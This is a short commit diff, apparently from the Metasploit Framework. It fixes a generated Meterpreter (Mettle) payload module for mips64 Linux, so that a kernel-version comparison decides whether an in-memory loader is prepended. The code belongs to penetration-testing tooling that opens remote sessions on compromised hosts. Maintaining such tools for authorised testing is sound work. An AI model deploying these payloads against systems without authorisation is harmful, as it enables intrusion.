fix: fix erb for mettle payload generation
This commit is contained in:
@@ -6,8 +6,8 @@
|
||||
|
||||
# Module generated by tools/modules/generate_mettle_payloads.rb
|
||||
module MetasploitModule
|
||||
CachedSize = 1685392
|
||||
|
||||
CachedSize = 1685392
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions::Linux
|
||||
@@ -42,9 +42,9 @@ module MetasploitModule
|
||||
}.merge(mettle_logging_config)
|
||||
payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
|
||||
ds = opts[:datastore] || datastore
|
||||
if ds['PayloadLinuxMinKernel'] == '3.17'
|
||||
return in_memory_load(payload) + payload
|
||||
if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17')
|
||||
return payload
|
||||
end
|
||||
payload
|
||||
in_memory_load(payload) + payload
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user